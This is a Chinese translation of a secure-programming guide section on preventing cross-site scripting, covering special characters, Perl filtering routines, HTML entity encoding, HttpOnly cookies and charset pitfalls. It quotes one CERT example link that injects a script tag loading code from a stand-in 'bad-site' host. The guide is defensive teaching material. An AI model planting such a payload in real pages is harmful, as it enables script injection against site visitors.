7.15. 防止跨站 (XSS) 恶意内容

一些安全程序接受来自一个不受信任用户(攻击者)的数据,并将该数据传递给不同用户的应用程序(受害者)。如果安全程序不保护受害者,那么受害者的应用程序(例如,他们的 Web 浏览器)可能会以对受害者有害的方式处理该数据。对于使用 HTML 或 XML 的 Web 应用程序来说,这是一个尤其常见的问题,这个问题有几个名称,包括“跨站脚本”、“恶意 HTML 标签”和“恶意内容”。本书将把这个问题称为“跨站恶意内容”,因为问题不仅限于脚本或 HTML,而且其跨站性质是根本性的。请注意,这个问题不仅限于 Web 应用程序,但由于这对它们来说是一个特殊的问题,因此接下来的讨论将重点强调 Web 应用程序。正如稍后将要展示的那样,有时攻击者可能导致受害者将数据从受害者发送到安全程序,因此安全程序必须保护受害者免受自身伤害。

7.15.1. 问题解释

让我们从一个简单的例子开始。一些 Web 应用程序被设计为允许用户在数据输入中包含 HTML 标签,这些标签稍后将发布给其他读者(例如,在留言簿或“读者评论”区域中)。如果不对其进行任何预防,恶意用户可以使用这些标签通过插入脚本、Java 引用(包括对恶意小程序的引用)、DHTML 标签、提前结束文档(通过 </HTML>)、荒谬的字体大小请求等等来攻击其他用户。这种能力可以被利用来实现广泛的效果,例如暴露 SSL 加密连接、通过客户端访问受限网站、违反基于域的安全策略、使网页无法读取、使网页使用起来不愉快(例如,通过烦人的横幅和冒犯性材料)、允许侵犯隐私(例如,通过插入 Web 漏洞来准确了解谁阅读了某个页面)、创建拒绝服务攻击(例如,通过创建“无限”数量的窗口),甚至是非常具有破坏性的攻击(通过插入针对浏览器中脚本语言或缓冲区溢出等安全漏洞的攻击)。通过在正确的位置嵌入恶意 FORM 标签,入侵者甚至可能能够诱骗用户泄露敏感信息(通过修改现有表单的行为)。或者,通过嵌入脚本,入侵者可能会造成无穷无尽的问题。这绝不是一个详尽的问题列表,但希望这足以让您相信这是一个严重的问题。

大多数“论坛”已经发现了这个问题,并且大多数已经采取措施来防止在旨在成为多人讨论一部分的文本中出现这个问题。不幸的是,许多 Web 应用程序开发人员没有意识到这是一个更普遍的问题。每个从一个用户发送到另一个用户的数据值都可能成为跨站恶意发布的来源,即使它不是期望任意 HTML 的区域的“明显”情况。恶意数据甚至可能由用户自己提供,因为用户可能被愚弄通过另一个站点提供数据。这是一个(来自 CERT)HTML 链接的示例,该链接导致用户将恶意数据发送到另一个站点
 <A HREF="http://example.com/comment.cgi?mycomment=<SCRIPT
 SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>

简而言之,Web 应用程序不能接受未经检查、过滤或编码的输入(包括任何表单数据)。在许多情况下,您甚至不能将数据传递回给同一用户,因为另一个用户可能已经秘密地提供了数据。即使允许此类材料不会损害您的系统,它也会使您的系统成为攻击用户的渠道。更糟糕的是,这些攻击看起来像是来自您的系统。

CERT 在其公告中这样描述了这个问题:

网站可能会在动态生成的页面中无意中包含恶意 HTML 标签或脚本,这些页面基于来自不可信来源的未经验证的输入 (CERT 咨询 CA-2000-02,嵌入在客户端 Web 请求中的恶意 HTML 标签)。

有关此问题的更多信息,请访问 CERT:http://www.cert.org/archive/pdf/cross_site_scripting.pdf

7.15.2. 跨站恶意内容的解决方案

从根本上说,这意味着所有受任何用户影响的 Web 应用程序输出都必须经过过滤(以便删除可能导致此问题的字符)、编码(以便以防止问题的方式对可能导致此问题的字符进行编码)或验证(以确保只有“安全”数据才能通过)。这包括从输入(如 URL 参数、表单数据、Cookie、数据库查询、CORBA ORB 结果以及存储在文件中的用户数据)派生的所有输出。在许多情况下,过滤和验证应在输入时完成,但编码可以在输入验证或输出生成期间完成。如果您只是在不进行分析的情况下传递数据,则最好在输入时对数据进行编码(这样就不会忘记)。但是,如果您的程序处理数据,则在输出时对其进行编码可能会更容易。CERT 建议在数据输出期间进行过滤和编码;这并不是一个坏主意,但在许多情况下,在输入时进行过滤和编码更有意义。关键问题是要确保您涵盖每个输出的所有情况,无论采用哪种方法,这都不是一件容易的事。

警告 - 在许多情况下,除非您还控制了输出的字符编码,否则这些技术可能会被破坏。否则,攻击者可能会使用“意外”的字符编码来破坏此处讨论的技术。幸运的是,这并不难;关于控制输出字符编码的讨论在 第 9.5 节中。

一个经常值得做的次要防御措施是 Cookie 的“HttpOnly”标志。在 Web 浏览器中运行的脚本无法访问设置了 HttpOnly 标志的 Cookie 值(它们只会得到一个空值)。这目前已在 Microsoft Internet Explorer 中实现,我预计 Mozilla/Netscape 也将很快实现。您应该为您发送的任何 Cookie 设置 HttpOnly,除非您的脚本需要 Cookie,以对抗某些类型的跨站脚本 (XSS) 攻击。但是,HttpOnly 标志可以通过多种方式绕过,因此将其用作主要防御措施是不合适的。相反,它是一种有用的辅助防御措施,可以在您的应用程序编写不正确时帮助您。

下面的第一个小节讨论了如何识别需要过滤、编码或验证的特殊字符。接下来是描述如何过滤或编码这些字符的小节。没有讨论如何通用地验证数据的小节,但是,关于通用的输入验证,请参阅 第 5 章,如果输入是纯 HTML 文本或 URI,请参阅 第 5.11 节。另请注意,您的 Web 应用程序可能会收到恶意的跨站点发布,因此非查询应禁止 GET 协议(请参阅 第 5.12 节)。

7.15.2.1. 识别特殊字符

以下是各种情况下的特殊字符(感谢 CERT 开发此列表)

  • 在块级元素的内容中(例如,在 HTML 文本段落的中间或 XML 块中)

    • “<”是特殊的,因为它引入了一个标签。

    • “&”是特殊的,因为它引入了一个字符实体。

    • “>”是特殊的,因为一些浏览器将其视为特殊,他们假设页面作者实际上是想输入一个开头的“<”,但错误地省略了它。

  • 在属性值中

    • 在用双引号括起来的属性值中,双引号是特殊的,因为它们标记了属性值的结尾。

    • 在用单引号括起来的属性值中,单引号是特殊的,因为它们标记了属性值的结尾。XML 的定义允许使用单引号,但我被告知某些 XML 解析器无法正确处理它们,因此您可能应避免在 XML 中使用单引号。

    • 没有任何引号的属性值使空格和制表符等空白字符变得特殊。请注意,这些在 XML 中也是不合法的,并且它们使更多字符变得特殊。因此,如果您在其中使用动态生成的值,我建议不要使用未加引号的属性。

    • “&”与某些属性结合使用时是特殊的,因为它引入了一个字符实体。

  • 在 URL 中,例如,搜索引擎可能会在结果页面中提供一个链接,用户可以单击该链接以重新运行搜索。这可以通过在 URL 中编码搜索查询来实现。完成此操作后,它会引入其他特殊字符

    • 空格、制表符和换行符是特殊的,因为它们标记了 URL 的结尾。

    • “&”是特殊的,因为它引入了一个字符实体或分隔 CGI 参数。

    • 非 ASCII 字符(即 ISO-8859-1 编码中 128 以上的所有字符)在 URL 中是不允许的,因此它们在这里都是特殊的。

    • 在任何使用 HTTP 转义序列编码的参数由服务器端代码解码的地方,都必须从输入中过滤掉“%”。如果诸如“%68%65%6C%6C%6F”之类的输入在相关网页上显示时变为“hello”,则必须过滤掉百分号。

  • 在 <SCRIPT> </SCRIPT> 的主体中,在文本可以直接插入到预先存在的脚本标签中的情况下,应过滤掉分号、括号、花括号和换行符。

  • 服务器端脚本将输入中的任何感叹号 (!) 转换为输出中的双引号 (") 可能需要额外的过滤。

请注意,一般来说,与号 (&) 在 HTML 和 XML 中是特殊的。

7.15.2.2. 过滤

处理这些特殊字符的一种方法是简单地消除它们(通常在输入或输出期间)。

如果您已经在验证输入的有效字符(通常应该这样做),则只需从有效字符列表中省略特殊字符即可轻松完成此操作。这是一个 Perl 过滤器的示例,该过滤器仅接受合法字符,并且由于该过滤器除了空格之外不接受任何特殊字符,因此非常适合在诸如带引号的属性之类的区域中使用
 # Accept only legal characters:
 $summary =~ tr/A-Za-z0-9\ \.\://dc;

但是,如果您真的只想去除最少数量的字符,那么您可以创建一个子例程来仅删除这些字符
 sub remove_special_chars {
  local($s) = @_;
  $s =~ s/[\<\>\"\'\%\;\(\)\&\+]//g;
  return $s;
 }
 # Sample use:
 $data = &remove_special_chars($data);

7.15.2.3. 编码(引用)

删除特殊字符的替代方法是对它们进行编码,使其不再具有任何特殊含义。与过滤字符相比,这有几个优点,特别是,它可以防止数据丢失。如果数据从用户的角度来看被该过程“损坏”了,那么至少当数据被编码时,可以重建最初发送的数据。

HTML、XML 和 SGML 都使用与号 ("&") 字符作为在运行文本中引入编码的一种方式;这种编码通常称为“HTML 编码”。要编码这些字符,只需转换您情况下的特殊字符。通常,这意味着“<”变为“&lt;”,“>”变为“&gt;”,“&”变为“&amp;”,而“"”变为“&quot;”。如上所述,虽然理论上“>”不需要引用,但由于某些浏览器会对其进行操作(并填充“<”),因此需要引用。双引号字符存在一个小的复杂性,因为“&quot;”只需要在属性内部使用,并且一些非常旧的浏览器无法正确呈现它。如果您可以处理额外的复杂性,您可以尝试仅在需要时编码“"”,但是简单地编码它并要求用户升级他们的浏览器会更容易。很少有用户会使用如此古老的浏览器,并且双引号字符编码已经成为标准很长时间了。

脚本语言可能会考虑实现专门的自动引用类型,这是在 Web 应用程序框架 Quixote 中开发的有趣方法。Quixote 包括一个“模板”功能,该功能允许轻松混合 HTML 文本和 Python 代码;由模板生成的文本作为 HTML 文档传递回 Web 浏览器。截至 0.6 版本,Quixote 有两种文本类型(而不是像大多数此类语言那样的单一类型)。任何出现在文字、带引号的字符串中的内容都是“htmltext”类型,并且假定它与程序员想要的确切相同(这是合理的,因为程序员编写了它)。但是,任何采用普通 Python 字符串形式的内容都会在执行模板时自动引用。因此,来自数据库或其他外部来源的文本会自动引用,并且不能用于跨站脚本攻击。因此,Quixote 实现了安全的默认设置 - 程序员不再需要担心引用通过应用程序的每一段文本(涉及过多引用的错误不太可能成为安全问题,并且在测试中会很明显)。Quixote 使用开源软件许可证,但由于其场地标识,它可能与 GPL 不兼容,并且被 Linux Weekly News 等组织使用。

在某些情况下,这种 HTML 编码方法还不够。正如 第 9.5 节中所讨论的,您需要指定输出字符编码(“charset”)。如果您的某些数据使用与输出字符编码不同的字符编码进行编码,那么您需要做一些事情,以便您的输出使用一致且正确的编码。此外,您选择了 ISO-8859-1 以外的输出编码,那么您需要确保特殊字符(例如“<”)的任何替代编码都不会泄漏到浏览器。这是包括 UTF-7 和 UTF-8 等流行字符编码在内的几种字符编码的问题;有关如何防止字符的“替代”编码的更多信息,请参阅 第 5.9 节。处理不兼容字符编码的一种方法是首先在内部将字符转换为 ISO 10646(它具有与 Unicode 相同的字符值),然后使用数字字符引用或字符实体引用来表示它们

  • 数字字符引用看起来像“&#D;”,其中 D 是十进制数字,或“&#xH;”或“&#XH;”,其中 H 是十六进制数字。给定的数字是 ISO 10646 字符 ID(它具有与 Unicode 相同的字符值)。因此,&#1048; 是西里尔字母大写字母“I”。SGML 标准 (ISO 8879) 不支持十六进制系统,因此我建议输出时使用十进制系统。此外,虽然 SGML 规范允许在某些情况下省略尾随分号,但在实践中,许多系统无法处理它 - 因此始终包含尾随分号。

  • 字符实体引用执行相同的操作,但使用助记符名称而不是数字。例如,“&lt;”表示 < 符号。如果您正在生成 HTML,请参阅 HTML 规范,其中列出了所有助记符名称。

两种系统(数字或字符实体)都可以工作;我建议对“<”、“>”、“&”和“"”使用字符实体引用,因为这使您的代码(和输出)更易于人类理解。除此之外,尚不清楚哪种系统总体上更好。如果您希望人类稍后手动编辑输出,请尽可能使用字符实体引用,否则我将使用十进制数字字符引用,因为它更易于编程。对于某些语言(尤其是亚洲语言),这种编码方案可能非常低效;如果那是您的主要内容,您可以选择使用不同的字符编码 (charset),过滤关键字符(例如“<”),并确保不允许关键字符的任何替代编码。

URI 有它们自己的编码方案,通常称为“URL 编码”。在这个系统中,URL 中不允许的字符使用百分号后跟其两位十六进制值来表示。为了处理所有的 ISO 10646 (Unicode),建议首先将代码转换为 UTF-8,然后再进行编码。有关验证 URI 的更多信息,请参阅 第 5.11.4 节